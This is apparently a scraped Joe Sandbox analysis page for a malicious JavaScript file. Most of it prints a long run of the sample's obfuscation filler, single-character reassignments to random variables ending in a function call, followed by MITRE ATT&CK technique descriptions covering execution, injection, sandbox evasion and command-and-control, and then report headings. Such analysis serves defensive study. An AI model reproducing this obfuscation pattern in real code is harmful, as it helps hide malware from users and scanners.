576	cojmkrbzg = "e";
577	cojmkrbzg = "x";
578	cojmkrbzg = "D";
579	cojmkrbzg = "j";
580	cojmkrbzg = "l";
581	cojmkrbzg = "v";
582	cojmkrbzg = "z";
583	cojmkrbzg = "G";
584	cojmkrbzg = "k";
585	cojmkrbzg = "O";
586	cojmkrbzg = "f";
587	cojmkrbzg = "w";
588	cojmkrbzg = "p";
589	cojmkrbzg = "a";
590	cojmkrbzg = "T";
591	cojmkrbzg = "Z";
592	cojmkrbzg = "k";
593	cojmkrbzg = "J";
594	cojmkrbzg = "I";
595	cojmkrbzg = "E";
596	cojmkrbzg = "L";
597	cojmkrbzg = "X";
598	cojmkrbzg = "o";
599	seztrjb = "u";
600	seztrjb = "C";
601	seztrjb = "X";
602	seztrjb = "C";
603	seztrjb = "Y";
604	seztrjb = "V";
605	seztrjb = "l";
606	seztrjb = "q";
607	seztrjb = "K";
608	seztrjb = "T";
609	seztrjb = "l";
610	fplxv = "D";
611	fplxv = "O";
612	fplxv = "U";
613	fplxv = "M";
614	fplxv = "t";
615	fplxv = "x";
616	fplxv = "V";
617	fplxv = "e";
618	fplxv = "d";
619	fplxv = "b";
620	fplxv = "D";
621	fplxv = "Q";
622	fplxv = "m";
623	fplxv = "D";
624	fplxv = "R";
625	fplxv = "x";
626	fplxv = "m";
627	fplxv = "E";
628	fplxv = "D";
629	fplxv = "r";
630	fplxv = "o";
631	fplxv = "d";
632	fplxv = "m";
633	fplxv = "G";
634	fplxv = "R";
635	rwvmcdbrc = "H";
636	rwvmcdbrc = "t";
637	rwvmcdbrc = "f";
638	rwvmcdbrc = "Q";
639	rwvmcdbrc = "p";
640	rwvmcdbrc = "F";
641	rwvmcdbrc = "R";
642	rwvmcdbrc = "l";
643	rwvmcdbrc = "2";
644	qcznz = "u";
645	qcznz = "p";
646	qcznz = "R";
647	qcznz = "S";
648	qcznz = "G";
649	qcznz = "R";
650	qcznz = "s";
651	qcznz = "O";
652	qcznz = "D";
653	qcznz = "D";
654	qcznz = "r";
655	qcznz = "Z";
656	qcznz = "A";
657	qcznz = "O";
658	qcznz = "N";
659	qcznz = "n";
660	qcznz = "5";
661	ivqryl = "B";
662	ivqryl = "g";
663	ivqryl = "F";
664	ivqryl = "f";
665	ivqryl = "h";
666	cmwmwn = "H";
667	cmwmwn = "B";
668	cmwmwn = "F";
669	cmwmwn = "j";
670	cmwmwn = "W";
671	cmwmwn = "z";
672	cmwmwn = "j";
673	cmwmwn = "t";
674	cmwmwn = "s";
675	cmwmwn = "f";
676	cmwmwn = "f";
677	cmwmwn = "g";
678	cmwmwn = "z";
679	cmwmwn = "L";
680	cmwmwn = "B";
681	cmwmwn = "M";
682	cmwmwn = "Y";
683	cmwmwn = "z";
684	cmwmwn = "n";
685	cmwmwn = "I";
686	cmwmwn = "N";
687	cmwmwn = "r";
688	cmwmwn = "n";
689	cmwmwn = "w";
690	cmwmwn = "j";
691	cmwmwn = "v";
692	cmwmwn = "e";
693	cmwmwn = "m";
694	cmwmwn = "L";
695	cmwmwn = "X";
696	cmwmwn = "z";
697	cmwmwn = "H";
698	cmwmwn = "k";
699	cmwmwn = "Q";
700	cmwmwn = "B";
701	cmwmwn = "o";
702	cmwmwn = "W";
703	cmwmwn = "x";
704	cmwmwn = "x";
705	cmwmwn = "_";
706	qresdu = "w";
707	qresdu = "i";
708	qresdu = "S";
709	qresdu = "v";
710	qresdu = "t";
711	qresdu = "E";
712	qresdu = "P";
713	qresdu = "f";
714	qresdu = "q";
715	qresdu = "W";
716	qresdu = "w";
717	qresdu = "j";
718	qresdu = "x";
719	qresdu = "C";
720	qresdu = "R";
721	qresdu = "q";
722	qresdu = "h";
723	qresdu = "w";
724	qresdu = "B";
725	qresdu = "p";
726	qresdu = "a";
727	mytxtbgpc = "o";
728	mytxtbgpc = "P";
729	mytxtbgpc = "J";
730	mytxtbgpc = "b";
731	mytxtbgpc = "x";
732	mytxtbgpc = "T";
733	mytxtbgpc = "y";
734	mytxtbgpc = "c";
735	mytxtbgpc = "U";
736	mytxtbgpc = "D";
737	mytxtbgpc = "P";
738	mytxtbgpc = "N";
739	mytxtbgpc = "O";
740	mytxtbgpc = "y";
741	mytxtbgpc = "m";
742	mytxtbgpc = "n";
743	mytxtbgpc = "m";
744	mytxtbgpc = "X";
745	mytxtbgpc = "G";
746	mytxtbgpc = "C";
747	mytxtbgpc = "v";
748	mytxtbgpc = "l";
749	mytxtbgpc = "R";
750	mytxtbgpc = "H";
751	mytxtbgpc = "J";
752	mytxtbgpc = "f";
753	mytxtbgpc = "z";
754	mytxtbgpc = ":";
755	bvmcg = "K";
756	bvmcg = "w";
757	bvmcg = "n";
758	bvmcg = "W";
759	bvmcg = "W";
760	bvmcg = "G";
761	bvmcg = "y";
762	bvmcg = "r";
763	bvmcg = "Z";
764	bvmcg = "e";
765	bvmcg = "Z";
766	bvmcg = "j";
767	bvmcg = "M";
768	bvmcg = "l";
769	bvmcg = "o";
770	bvmcg = "z";
771	bvmcg = "K";
772	bvmcg = "w";
773	bvmcg = "S";
774	bvmcg = "h";
775	bvmcg = "x";
776	bvmcg = "Z";
777	bvmcg = "u";
778	bvmcg = "G";
779	bvmcg = "r";
780	bvmcg = "C";
781	bvmcg = "x";
782	bvmcg = "j";
783	bvmcg = "C";
784	bvmcg = "S";
785	bvmcg = "w";
786	bvmcg = "t";
787	bvmcg = "p";
788	bvmcg = "H";
789	bvmcg = "c";
790	opchlkv = "r";
791	opchlkv = "T";
792	opchlkv = "H";
793	opchlkv = "D";
794	opchlkv = "u";
795	opchlkv = "u";
796	opchlkv = "q";
797	opchlkv = "O";
798	opchlkv = "A";
799	opchlkv = "x";
800	opchlkv = "E";
801	opchlkv = "H";
802	opchlkv = "L";
803	opchlkv = "m";
804	opchlkv = "J";
805	opchlkv = "v";
806	opchlkv = "j";
807	opchlkv = "m";
808	opchlkv = "b";
809	opchlkv = "W";
810	opchlkv = "R";
811	opchlkv = "k";
812	opchlkv = "F";
813	opchlkv = "z";
814	opchlkv = "R";
815	opchlkv = "r";
816	opchlkv = "E";
817	opchlkv = "r";
818	opchlkv = "I";
819	opchlkv = "o";
820	opchlkv = "f";
821	opchlkv = "C";
822	opchlkv = "U";
823	imgxwnxun = "F";
824	imgxwnxun = "I";
825	imgxwnxun = "v";
826	imgxwnxun = "f";
827	imgxwnxun = "N";
828	imgxwnxun = "a";
829	imgxwnxun = "q";
830	imgxwnxun = "h";
831	imgxwnxun = "u";
832	imgxwnxun = "0";
833	lyhip = "V";
834	lyhip = "r";
835	lyhip = "P";
836	lyhip = "9";
837	kgplvv = "Q";
838	kgplvv = "V";
839	kgplvv = "H";
840	kgplvv = "e";
841	kgplvv = "F";
842	kgplvv = "c";
843	kgplvv = "j";
844	kgplvv = "P";
845	kgplvv = "G";
846	kgplvv = "b";
847	kgplvv = "u";
848	kgplvv = "c";
849	kgplvv = "I";
850	kgplvv = "Z";
851	kgplvv = "e";
852	kgplvv = "x";
853	kgplvv = "Y";
854	kgplvv = "l";
855	kgplvv = "g";
856	kgplvv = "r";
857	kgplvv = "r";
858	kgplvv = "K";
859	kgplvv = "Y";
860	kgplvv = "N";
861	kgplvv = "E";
862	kgplvv = "l";
863	kgplvv = "G";
864	kgplvv = "z";
865	kgplvv = "K";
866	kgplvv = "i";
867	kgplvv = "O";
868	kgplvv = "q";
869	kgplvv = "G";
870	kgplvv = "c";
871	kgplvv = "j";
872	kgplvv = "R";
873	kgplvv = "l";
874	kgplvv = "I";
875	kgplvv = "%";
876	ahtmzg = "o";
877	ahtmzg = "z";
878	ahtmzg = "W";
879	ahtmzg = "Q";
880	ahtmzg = "f";
881	ahtmzg = "A";
882	ahtmzg = "S";
883	ahtmzg = "b";
884	ahtmzg = "f";
885	ahtmzg = "J";
886	ahtmzg = "Z";
887	ahtmzg = "B";
888	ahtmzg = "b";
889	ahtmzg = "g";
890	ahtmzg = "v";
891	ahtmzg = "l";
892	ahtmzg = "s";
893	ahtmzg = "W";
894	ahtmzg = "k";
895	ahtmzg = "E";
896	ahtmzg = "\\";
897	ufwyphia = "O";
898	ufwyphia = "u";
899	ufwyphia = "O";
900	ufwyphia = "A";
901	ufwyphia = "d";
902	utgvygx = "S";
903	utgvygx = "x";
904	utgvygx = "P";
905	utgvygx = "o";
906	utgvygx = "l";
907	utgvygx = "A";
908	utgvygx = "c";
909	utgvygx = "c";
910	utgvygx = "w";
911	utgvygx = "J";
912	utgvygx = "L";
913	utgvygx = "G";
914	utgvygx = "A";
915	utgvygx = "E";
916	utgvygx = "r";
917	utgvygx = "i";
918	pbirmnwb = "K";
919	pbirmnwb = "D";
920	pbirmnwb = "f";
921	pbirmnwb = "T";
922	pbirmnwb = "Y";
923	pbirmnwb = "i";
924	pbirmnwb = "T";
925	pbirmnwb = "u";
926	pbirmnwb = "r";
927	pbirmnwb = "B";
928	pbirmnwb = "U";
929	pbirmnwb = "X";
930	pbirmnwb = "q";
931	pbirmnwb = "Y";
932	pbirmnwb = "T";
933	pbirmnwb = "h";
934	pbirmnwb = "c";
935	pbirmnwb = "l";
936	pbirmnwb = "J";
937	pbirmnwb = "H";
938	pbirmnwb = "I";
939	pbirmnwb = "K";
940	pbirmnwb = "P";
941	pbirmnwb = "u";
942	pbirmnwb = "E";
943	pbirmnwb = "M";
944	pbirmnwb = "o";
945	pbirmnwb = "F";
946	pbirmnwb = "P";
947	pbirmnwb = "L";
948	pbirmnwb = "X";
949	pbirmnwb = "J";
950	pbirmnwb = "U";
951	pbirmnwb = "d";
952	pbirmnwb = "Z";
953	pbirmnwb = "P";
954	pbirmnwb = "C";
955	pbirmnwb = "g";
956	pbirmnwb = "m";
957	pbirmnwb = "H";
958	pbirmnwb = "m";
959	jrcfdolyu = "f";
960	jrcfdolyu = "A";
961	jrcfdolyu = "q";
962	jrcfdolyu = "L";
963	jrcfdolyu = "I";
964	jrcfdolyu = "A";
965	jrcfdolyu = "O";
966	jrcfdolyu = "U";
967	jrcfdolyu = "D";
968	jrcfdolyu = "c";
969	jrcfdolyu = "i";
970	jrcfdolyu = "l";
971	jrcfdolyu = "O";
972	jrcfdolyu = "E";
973	jrcfdolyu = "o";
974	jrcfdolyu = "j";
975	jrcfdolyu = "Z";
976	jrcfdolyu = "s";
977	jrcfdolyu = "s";
978	jrcfdolyu = "C";
979	jrcfdolyu = "t";
980	jrcfdolyu = "i";
981	jrcfdolyu = "z";
982	jrcfdolyu = "M";
983	jrcfdolyu = "f";
984	bnhdkin = "p";
985	bnhdkin = "I";
986	bnhdkin = "V";
987	bnhdkin = "m";
988	bnhdkin = "e";
989	bnhdkin = "R";
990	bnhdkin = "R";
991	bnhdkin = "D";
992	bnhdkin = "p";
993	bnhdkin = "l";
994	bnhdkin = "N";
995	bnhdkin = "k";
996	bnhdkin = "C";
997	bnhdkin = "I";
998	bnhdkin = "N";
999	bnhdkin = "C";
1000	bnhdkin = "l";
1001	bnhdkin = "H";
1002	bnhdkin = "R";
1003	bnhdkin = "a";
1004	bnhdkin = "q";
1005	bnhdkin = "N";
1006	bnhdkin = "D";
1007	bnhdkin = "W";
1008	bnhdkin = "L";
1009	bnhdkin = "S";
1010	bnhdkin = "s";
1011	bnhdkin = ".";
1012	qktcxhq = "X";
1013	qktcxhq = "U";
1014	qktcxhq = "f";
1015	qktcxhq = "W";
1016	qktcxhq = "m";
1017	qktcxhq = "P";
1018	qktcxhq = "B";
1019	qktcxhq = "V";
1020	qktcxhq = "J";
1021	qktcxhq = "u";
1022	qktcxhq = "l";
1023	qktcxhq = "f";
1024	qktcxhq = "P";
1025	qktcxhq = "E";
1026	qktcxhq = "A";
1027	qktcxhq = "x";
1028	qktcxhq = "r";
1029	qktcxhq = "a";
1030	qktcxhq = "I";
1031	qktcxhq = "r";
1032	okkfv = "X";
1033	okkfv = "f";
1034	okkfv = "s";
1035	okkfv = "p";
1036	okkfv = "t";
1037	okkfv = "s";
1038	okkfv = "m";
1039	okkfv = "M";
1040	okkfv = "k";
1041	okkfv = "x";
1042	okkfv = "G";
1043	okkfv = "E";
1044	okkfv = "W";
1045	okkfv = "T";
1046	okkfv = "C";
1047	okkfv = "B";
1048	okkfv = "k";
1049	okkfv = "z";
1050	okkfv = "F";
1051	okkfv = "k";
1052	okkfv = "p";
1053	okkfv = "\"";
1054	bsdneiaam = "o";
1055	bsdneiaam = "q";
1056	bsdneiaam = "Z";
1057	bsdneiaam = "Z";
1058	bsdneiaam = "L";
1059	bsdneiaam = "q";
1060	bsdneiaam = "w";
1061	bsdneiaam = "a";
1062	bsdneiaam = "o";
1063	bsdneiaam = "z";
1064	bsdneiaam = "X";
1065	bsdneiaam = "S";
1066	bsdneiaam = "s";
1067	bsdneiaam = "I";
1068	bsdneiaam = "g";
1069	bsdneiaam = "p";
1070	bsdneiaam = "D";
1071	bsdneiaam = "K";
1072	bsdneiaam = "e";
1073	bsdneiaam = "A";
1074	bsdneiaam = "W";
1075	bsdneiaam = "w";
1076	bsdneiaam = "b";
1077	bsdneiaam = "f";
1078	bsdneiaam = "I";
1079	bsdneiaam = "p";
1080	bsdneiaam = "T";
1081	bsdneiaam = "X";
1082	bsdneiaam = "L";
1083	bsdneiaam = "W";
1084	bsdneiaam = "-";
1085	cejehe = "N";
1086	cejehe = "x";
1087	cejehe = "o";
1088	cejehe = "E";
1089	cejehe = "O";
1090	cejehe = "y";
1091	cejehe = "C";
1092	cejehe = "D";
1093	cejehe = "y";
1094	cejehe = "b";
1095	cejehe = "e";
1096	cejehe = "B";
1097	cejehe = "k";
1098	cejehe = "b";
1099	cejehe = "I";
1100	cejehe = "f";
1101	cejehe = "m";
1102	cejehe = "f";
1103	cejehe = "p";
1104	cejehe = "Z";
1105	cejehe = "Z";
1106	cejehe = "x";
1107	fegizfpef = "h";
1108	fegizfpef = "o";
1109	fegizfpef = "k";
1110	fegizfpef = "X";
1111	fegizfpef = "N";
1112	czphxhnx = "d";
1113	czphxhnx = "i";
1114	czphxhnx = "Z";
1115	czphxhnx = "f";
1116	czphxhnx = "O";
1117	czphxhnx = "d";
1118	czphxhnx = "a";
1119	czphxhnx = "W";
1120	czphxhnx = "T";
1121	czphxhnx = "l";
1122	czphxhnx = "M";
1123	czphxhnx = "d";
1124	czphxhnx = "t";
1125	czphxhnx = "q";
1126	czphxhnx = "c";
1127	czphxhnx = "D";
1128	czphxhnx = "M";
1129	czphxhnx = "t";
1130	czphxhnx = "H";
1131	czphxhnx = "n";
1132	czphxhnx = "R";
1133	czphxhnx = "P";
1134	czphxhnx = "3";
1135	xqlldm = "A";
1136	xqlldm = "A";
1137	xqlldm = "q";
1138	xqlldm = "i";
1139	xqlldm = "O";
1140	xqlldm = "N";
1141	xqlldm = "A";
1142	xqlldm = "H";
1143	xqlldm = "Q";
1144	xqlldm = "W";
1145	xqlldm = "z";
1146	xqlldm = "D";
1147	xqlldm = "W";
1148	xqlldm = "r";
1149	xqlldm = "S";
1150	xqlldm = "w";
1151	xqlldm = "O";
1152	xqlldm = "c";
1153	xqlldm = "A";
1154	xqlldm = "S";
1155	xqlldm = "W";
1156	xqlldm = "r";
1157	xqlldm = "a";
1158	xqlldm = "p";
1159	xqlldm = "D";
1160	xqlldm = "E";
1161	xqlldm = "q";
1162	xqlldm = "a";
1163	xqlldm = "T";
1164	xqlldm = "y";
1165	xqlldm = "V";
1166	xqlldm = "a";
1167	xqlldm = "N";
1168	xqlldm = "P";
1169	qsbsoydfe = "m";
1170	qsbsoydfe = "u";
1171	kjrxxitbl = "N";
1172	kjrxxitbl = "n";
1173	kjrxxitbl = "Y";
1174	kjrxxitbl = "m";
1175	kjrxxitbl = "f";
1176	kjrxxitbl = "N";
1177	kjrxxitbl = "Y";
1178	kjrxxitbl = "F";
1179	kjrxxitbl = "t";
1180	kjrxxitbl = "h";
1181	kjrxxitbl = "o";
1182	kjrxxitbl = "b";
1183	kjrxxitbl = "j";
1184	kjrxxitbl = "Y";
1185	ppouvq = "p";
1186	ppouvq = "H";
1187	neymwfv = "I";
1188	neymwfv = "N";
1189	neymwfv = "J";
1190	neymwfv = "n";
1191	neymwfv = "m";
1192	neymwfv = "f";
1193	neymwfv = "H";
1194	neymwfv = "f";
1195	neymwfv = "a";
1196	neymwfv = "C";
1197	neymwfv = "T";
1198	neymwfv = "v";
1199	dkbnj = "C";
1200	dkbnj = "L";
1201	dkbnj = "m";
1202	dkbnj = "K";
1203	dkbnj = "I";
1204	dkbnj = "K";
1205	dkbnj = "f";
1206	dkbnj = "E";
1207	dkbnj = "S";
1208	dkbnj = "p";
1209	dkbnj = "z";
1210	dkbnj = "c";
1211	dkbnj = "q";
1212	dkbnj = "J";
1213	dkbnj = "J";
1214	dkbnj = "C";
1215	dkbnj = "b";
1216	dkbnj = "i";
1217	dkbnj = "X";
1218	dkbnj = "i";
1219	dkbnj = "x";
1220	dkbnj = "A";
1221	dkbnj = "o";
1222	dkbnj = "R";
1223	dkbnj = "w";
1224	dkbnj = "N";
1225	dkbnj = "T";
1226	dkbnj = "W";
1227	dkbnj = "Q";
1228	dkbnj = "a";
1229	dkbnj = "G";
1230	dkbnj = "G";
1231	dkbnj = "X";
1232	dkbnj = "Y";
1233	dkbnj = "H";
1234	dkbnj = "B";
1235	dkbnj = "f";
1236	dkbnj = "l";
1237	dkbnj = "N";
1238	dkbnj = "p";
1239	bbvnb = "e";
1240	bbvnb = "K";
1241	bbvnb = "U";
1242	bbvnb = "K";
1243	bbvnb = "A";
1244	bbvnb = "K";
1245	bbvnb = "G";
1246	bbvnb = "r";
1247	bbvnb = "a";
1248	bbvnb = "r";
1249	bbvnb = "F";
1250	bbvnb = "d";
1251	bbvnb = "Z";
1252	bbvnb = "J";
1253	bbvnb = "P";
1254	bbvnb = "h";
1255	bbvnb = "N";
1256	bbvnb = "E";
1257	bbvnb = "n";
1258	bbvnb = "c";
1259	bbvnb = "o";
1260	bbvnb = "w";
1261	bbvnb = "M";
1262	bbvnb = "U";
1263	bbvnb = "t";
1264	bbvnb = "I";
1265	bbvnb = "A";
1266	bbvnb = "v";
1267	bbvnb = "F";
1268	bbvnb = "y";
1269	bbvnb = "X";
1270	bbvnb = "I";
1271	bbvnb = "g";
1272	bbvnb = "I";
1273	ynacfa = "Y";
1274	ynacfa = "O";
1275	ynacfa = "k";
1276	ynacfa = "D";
1277	ynacfa = "Q";
1278	ynacfa = "b";
1279	ynacfa = "u";
1280	ynacfa = "&";
1281	sjpfq = "T";
1282	sjpfq = "n";
1283	sjpfq = "o";
1284	sjpfq = "V";
1285	sjpfq = "L";
1286	sjpfq = "Q";
1287	sjpfq = "P";
1288	sjpfq = "H";
1289	sjpfq = "c";
1290	sjpfq = "X";
1291	sjpfq = "V";
1292	sjpfq = "Q";
1293	sjpfq = "k";
1294	sjpfq = "x";
1295	sjpfq = "M";
1296	sjpfq = "F";
1297	sjpfq = "v";
1298	sjpfq = "G";
1299	sjpfq = "d";
1300	sjpfq = "A";
1301	sjpfq = "w";
1302	sjpfq = "c";
1303	sjpfq = "v";
1304	sjpfq = "B";
1305	sjpfq = "d";
1306	sjpfq = "r";
1307	sjpfq = "r";
1308	sjpfq = "X";
1309	sjpfq = "u";
1310	sjpfq = "J";
1311	sjpfq = "i";
1312	sjpfq = "e";
1313	sjpfq = "T";
1314	ubhabu = "p";
1315	ubhabu = "N";
1316	ubhabu = "g";
1317	ubhabu = "E";
1318	ubhabu = "N";
1319	ubhabu = "E";
1320	ubhabu = "s";
1321	ubhabu = "N";
1322	ubhabu = "H";
1323	ubhabu = "n";
1324	ubhabu = "N";
1325	ubhabu = "t";
1326	ubhabu = "N";
1327	ubhabu = "E";
1328	ubhabu = "F";
1329	ubhabu = "Q";
1330	ubhabu = "T";
1331	ubhabu = "w";
1332	ubhabu = "V";
1333	ubhabu = "O";
1334	ubhabu = "w";
1335	ubhabu = "k";
1336	ubhabu = "O";
1337	ubhabu = "x";
1338	ubhabu = "l";
1339	ubhabu = "Q";
1340	ubhabu = "Y";
1341	ubhabu = "m";
1342	ubhabu = "Q";
1343	ubhabu = "D";
1344	ubhabu = "A";
1345	ubhabu = "X";
1346	ubhabu = "b";
1347	ubhabu = "B";
1348	ubhabu = "p";
1349	ubhabu = "h";
1350	ubhabu = "S";
1351	qlbgot ( );	qlbgot() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4483138622176223122.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

